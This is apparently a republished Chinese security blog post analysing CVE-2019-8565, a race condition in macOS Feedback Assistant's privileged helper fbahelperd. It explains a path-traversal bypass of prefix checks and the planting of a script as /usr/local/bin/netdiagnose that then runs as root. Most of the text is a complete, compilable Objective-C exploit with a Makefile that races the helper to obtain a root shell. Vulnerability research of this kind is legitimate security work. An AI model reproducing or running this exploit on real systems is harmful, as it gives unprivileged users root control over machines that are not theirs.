Feedback Assistant条件竞争漏洞引发的本地权限提升
0x001 前言
本文承接上篇继续分析CVE-2019-8565这个洞，上文留下了一些疑问，例如，为何父进程能访问/usr/local/bin/netdiagnose就能够证明绕过了检查？既然绕过了安全检查，接下来该如何拿到root shell？
0x002 调试环境
主机: macOS Mojave 10.14.2 18C54
0x003 漏洞成因分析
IDA继续分析fbahelperd，看到方法copyLogFiles，该方法接受一个NSDictionary参数，其key值是文件的源路径，value值则是目标路径，将源路径文件复制到目标路径
但无论是源路径还是目标路径都必须具有前缀/var/folders/、/private/var/或/tmp/
在我们的EXP中可以这样绕过前缀检查
NSMutableDictionary *traversal(NSDictionary *mapping) { NSMutableDictionary *transformed = [[NSMutableDictionary alloc] init]; for (NSString *key in mapping) { NSString *val = mapping[key]; NSString *newKey = [@"/var/log/../../.." stringByAppendingPathComponent:key]; // 绕过路径检查
NSString *newVal = [@"/tmp/../.." stringByAppendingPathComponent:val];
transformed[newKey] = newVal;
} return transformed;
}IDA中继续看到方法runMobilityReportWithDestination:，这里会调用/System/Library/Frameworks/SystemConfiguration.framework/Versions/A/Resources/get-mobility-info这个脚本。另外调用该方法需要一个路径参数，这个路径同样需要具有前缀/var/folders/、/private/var/或/tmp/
打开/System/Library/Frameworks/SystemConfiguration.framework/Versions/A/Resources/get-mobility-info，发现脚本里调用了/usr/local/bin/netdiagnose，而该文件默认不存在，这就为我们拿到root shell提供了一个思路
拿到root shell的流程：
- 参考上一篇文章利用条件竞争漏洞绕过service
fbahelperd的安全检查 - 在子进程创建完成并且通过
fbahelperd的检查后，调用copyLogFiles:方法将root.sh复制到/usr/local/bin/netdiagnose - 当绕过安全检查后，调用方法
runMobilityReportWithDestination:，并传入一个路径参数（要能通过前缀检查），最后会以root权限调用/usr/local/bin/netdiagnose这个我们复制过去的脚本
0x004 Exploit
定义BAPrivilegedDaemon接口类
@protocol FBAPrivilegedDaemon <NSObject>- (void)copyLogFiles:(NSDictionary *)mapping; - (void)runMobilityReportWithDestination:(NSURL *)dest;@end
在条件竞争阶段（stage == 1），先将root.sh复制到/usr/local/bin/netdiagnose。在检查通过阶段（stage == 2），调用方法runMobilityReportWithDestination打开root shell
extern char **environ;void child(const char *path, int stage) { NSDictionary *transformed = [[NSDictionary alloc] initWithContentsOfFile:[NSString stringWithUTF8String:path]]; // "/var/log/../../../var/folders/cf/jsvwdrj532q17tgmsnxl4x1c0000gn/T/E694DB2F-72C9-4911-85F5-E1FED6726D6C-52092-00004AAFD253FE62/bin/root.sh" = "/tmp/../../usr/local/bin/netdiagnose"
NSXPCConnection *connection = [[NSXPCConnection alloc] initWithMachServiceName:@"com.apple.appleseed.fbahelperd"
options:NSXPCConnectionPrivileged];
connection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(FBAPrivilegedDaemon)];
[connection resume]; id remote = connection.remoteObjectProxy; if (stage == 1)
[remote copyLogFiles:[NSDictionary dictionaryWithDictionary:transformed]]; // 将root.sh复制到"/usr/local/bin/netdiagnose"
if (stage == 2)
[remote runMobilityReportWithDestination:[NSURL fileURLWithPath:@"/tmp/2333"]]; // 绕过路径检查，执行"/System/Library/Frameworks/SystemConfiguration.framework/Versions/A/Resources/get-mobility-info"
char target_binary[] = BINARY; char *target_argv[] = {target_binary, NULL};
posix_spawnattr_t attr;
posix_spawnattr_init(&attr); short flags;
posix_spawnattr_getflags(&attr, &flags);
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
posix_spawnattr_setflags(&attr, flags);
posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
}root.sh写入的内容如下
#define SHELL_TEMPLATE @"#!/bin/shn" "/Users/wooy0ung/workspace/lldbit/mac/CVE-2019-8565/./bin/exploitn" "/Applications/iTerm.app/Contents/MacOS/iTerm2n" "rm -- "$0"n"
运行EXP，可以发现/usr/local/bin/路径下root.sh脚本已经被复制过去并重命名为netdiagnose
最后拿到一个root shell
完整的EXP
#import <Foundation/Foundation.h>#include <notify.h>#include <spawn.h>#include <sys/stat.h>#define USR_LOCAL_BIN @"/usr/local/bin"#define BINARY "/System/Library/CoreServices/Applications/Feedback Assistant.app/Contents/MacOS/Feedback Assistant"#define MOBILITY_SCRIPT
"/System/Library/Frameworks/SystemConfiguration.framework/Versions/A/Resources/get-mobility-info"#define NOTIFY_NAME "me.chichou.fbaroot"#define LOG(fmt, ...) NSLog(@"[LightYear] " fmt "n", ##__VA_ARGS__)@protocol FBAPrivilegedDaemon <NSObject>- (void)copyLogFiles:(NSDictionary *)mapping;
- (void)runMobilityReportWithDestination:(NSURL *)dest;@endextern char **environ;void child(const char *path, int stage) { NSDictionary *transformed = [[NSDictionary alloc] initWithContentsOfFile:[NSString stringWithUTF8String:path]]; // "/var/log/../../../var/folders/cf/jsvwdrj532q17tgmsnxl4x1c0000gn/T/E694DB2F-72C9-4911-85F5-E1FED6726D6C-52092-00004AAFD253FE62/bin/root.sh" = "/tmp/../../usr/local/bin/netdiagnose"
NSXPCConnection *connection = [[NSXPCConnection alloc] initWithMachServiceName:@"com.apple.appleseed.fbahelperd"
options:NSXPCConnectionPrivileged];
connection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(FBAPrivilegedDaemon)];
[connection resume]; id remote = connection.remoteObjectProxy; if (stage == 1)
[remote copyLogFiles:[NSDictionary dictionaryWithDictionary:transformed]]; // 将root.sh复制到"/usr/local/bin/netdiagnose"
if (stage == 2)
[remote runMobilityReportWithDestination:[NSURL fileURLWithPath:@"/tmp/2333"]]; // 绕过路径检查，执行"/System/Library/Frameworks/SystemConfiguration.framework/Versions/A/Resources/get-mobility-info"
char target_binary[] = BINARY; char *target_argv[] = {target_binary, NULL};
posix_spawnattr_t attr;
posix_spawnattr_init(&attr); short flags;
posix_spawnattr_getflags(&attr, &flags);
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
posix_spawnattr_setflags(&attr, flags);
posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
}NSMutableDictionary *traversal(NSDictionary *mapping) { NSMutableDictionary *transformed = [[NSMutableDictionary alloc] init]; for (NSString *key in mapping) { NSString *val = mapping[key]; NSString *newKey = [@"/var/log/../../.." stringByAppendingPathComponent:key]; // 绕过路径检查
NSString *newVal = [@"/tmp/../.." stringByAppendingPathComponent:val];
transformed[newKey] = newVal;
} return transformed;
}NSDictionary *prepare() { NSError *err = nil; NSFileManager *mgr = [NSFileManager defaultManager]; NSString *guid = [[NSProcessInfo processInfo] globallyUniqueString]; // 获取唯一标志符
NSString *cwd = [NSTemporaryDirectory() stringByAppendingPathComponent:guid];
[mgr removeItemAtPath:cwd error:nil]; // 存在该目录便立即删除掉
NSString *fakebin = [cwd stringByAppendingPathComponent:@"bin"]; // 在路径上添加bin目录
[mgr createDirectoryAtPath:fakebin withIntermediateDirectories:YES attributes:nil error:&err]; // 创建目录
// argument for copyLogFiles:
NSMutableDictionary *mapping = [[NSMutableDictionary alloc] init]; // write launcher
NSString *launcher = [fakebin stringByAppendingPathComponent:@"root.sh"];#define SHELL_TEMPLATE
@"#!/bin/shn"
"%@n"
"/Applications/iTerm.app/Contents/MacOS/iTerm2n"
"rm -- "$0"n" // 删除自身
NSString *exec = [[NSBundle mainBundle] executablePath]; // 获取当前二进制程序路径，例如"/Users/wooy0ung/workspace/lldbit/mac/CVE-2019-8565/./bin/exploit"
NSString *sh = [NSString stringWithFormat:SHELL_TEMPLATE, exec]; // 格式化字符串，"%@"处用exec内容替换
[sh writeToFile:launcher atomically:NO encoding:NSUTF8StringEncoding error:&err]; // 将sh的内容写入root.sh
// LOG(@"%@n%@", sh, err);
// find /usr/local/bin/*
//NSString *mobility = [NSString stringWithContentsOfFile:@MOBILITY_SCRIPT encoding:NSUTF8StringEncoding error:&err];
//NSRegularExpression *regex = [NSRegularExpression regularExpressionWithPattern:@"if \[ -x /usr/local/bin/(\w+)"
// options:NSRegularExpressionCaseInsensitive
// error:&err];
//NSTextCheckingResult *match = [regex firstMatchInString:mobility options:0 range:NSMakeRange(0, [mobility length])]; // 匹配"if \[ -x /usr/local/bin/(\w+)"
//if (!match) {
// LOG("Fatal error: this exploit may not work on your system.");
// return nil;
//}
//NSString *privileged = [mobility substringWithRange:[match rangeAtIndex:1]];
//NSString *canary = [USR_LOCAL_BIN stringByAppendingPathComponent:privileged]; // 匹配获得一个特权级的程序路径，例如"/usr/local/bin/netdiagnose"
//NSLog(privileged);
//NSLog(canary);
NSString *canary = @"/usr/local/bin/netdiagnose"; BOOL isDir = NO; BOOL doesBrewExists = [mgr fileExistsAtPath:USR_LOCAL_BIN isDirectory:&isDir]; // 判断brew是否安装
if (doesBrewExists && isDir) {
mapping[launcher] = canary;
} else {
mapping[fakebin] = USR_LOCAL_BIN;
} NSString *session = [cwd stringByAppendingPathComponent:@"task.plist"]; // /var/folders/cf/jsvwdrj532q17tgmsnxl4x1c0000gn/T/293B88C8-D8C3-4546-AF20-7B412E3B9272-43510-0000474BAA9F3EA0/task.plist
NSDictionary *transformed = traversal(mapping); // "/var/log/../../../var/folders/cf/jsvwdrj532q17tgmsnxl4x1c0000gn/T/D55EF23C-E3DC-4CFF-BA87-8F9C8DB17F7D-38989-000043E5CEE1B3B8/bin/root.sh" = "/tmp/../../usr/local/bin/netdiagnose"
[transformed writeToFile:session atomically:NO]; // 生成一个关联"/usr/local/bin/netdiagnose"及其启动脚本"root.sh"的plist文件
//NSLog(@"session:n");
//LOG("%@n", session);
// LOG("dictionary: %@", transformed);
/**
│ File: task.plist
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ <?xml version="1.0" encoding="UTF-8"?>
2 │ <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
3 │ <plist version="1.0">
4 │ <dict>
5 │ <key>/var/log/../../../var/folders/cf/jsvwdrj532q17tgmsnxl4x1c0000gn/T/218BE25D-17FC-4780-A56D-7F61
│ 33EADF00-33219-000034A514EFF666/bin/root.sh</key>
6 │ <string>/tmp/../../usr/local/bin/netdiagnose</string>
7 │ </dict>
8 │ </plist>
*/
return @{@"session" : session, @"canary" : canary};
}#define RACE_COUNT 16#define SPAWN_CHILDREN(stage)
for (int i = 0; i < RACE_COUNT; i++)
processes[i] = [NSTask launchedTaskWithLaunchPath:exec arguments:@[ session, @ #stage ]];#define TERMINATE_CHILDREN
for (int i = 0; i < RACE_COUNT; i++)
[processes[i] terminate];int exploit(NSString *session, const char *canary) { int status = 0; NSString *exec = [[NSBundle mainBundle] executablePath]; NSTask *processes[RACE_COUNT];
LOG("Now race");
SPAWN_CHILDREN(1); int i = 0; struct timespec ts = {
.tv_sec = 0,
.tv_nsec = 500 * 1000000,
}; while (access(canary, F_OK) == -1) { // 访问"/usr/local/bin/netdiagnose"失败，等待，用以判断race是否成功
nanosleep(&ts, NULL); if (++i > 4) { // wait for 2 seconds at most
LOG("Stage 1 timed out, retry");
status = -1; goto cleanup;
}
}
chmod(canary, 0777); // 访问成功后将权限提到最高
LOG("Stage 1 succeed");
dispatch_semaphore_t semaphore = dispatch_semaphore_create(0); int token;
notify_register_dispatch(NOTIFY_NAME, &token, dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0),
^(int token) {
LOG("It works!");
dispatch_semaphore_signal(semaphore);
notify_cancel(token);
});
SPAWN_CHILDREN(2); // wait for 2s
dispatch_time_t timeout = dispatch_time(DISPATCH_TIME_NOW, 2.0 * NSEC_PER_SEC);
status = dispatch_semaphore_wait(semaphore, timeout); // 当在2秒内成功将消息派发就成功
if (status != 0)
LOG("Timed out");
cleanup:
TERMINATE_CHILDREN return status;
}int root() {
notify_post(NOTIFY_NAME); // 接收到一个派发的消息
LOG("I am groot (euid: %d)", geteuid());
LOG("bye"); return 0;
}int main(int argc, char *argv[]) { @autoreleasepool { if (geteuid()) { if (argc == 3) { // 子进程会执行这里
child(argv[1], atoi(argv[2])); return 0;
} NSDictionary *ctx = prepare(); // 首次会调用这里
if (!ctx){ return 1;} for (int i = 0; i < 3; i++) { // 尝试3次，共spawn 16 * 2 * 3个子进程
if (exploit(ctx[@"session"], [ctx[@"canary"] UTF8String]) == 0) return 0;
}
LOG("all tries failed"); return 1;
} else { return root();
}
}
}Makefile
SRC = exploit.m OUTPUT = bin/exploit.PHONY: execexec: $(SRC) @mkdir -p bin clang $(SRC) -framework Foundation -o $(OUTPUT)run: exec $(OUTPUT)format: clang-format -i $(SRC)
本文由安全客原创发布
转载自安全客 - 有思想的安全新媒体
转载自安全客 - 有思想的安全新媒体
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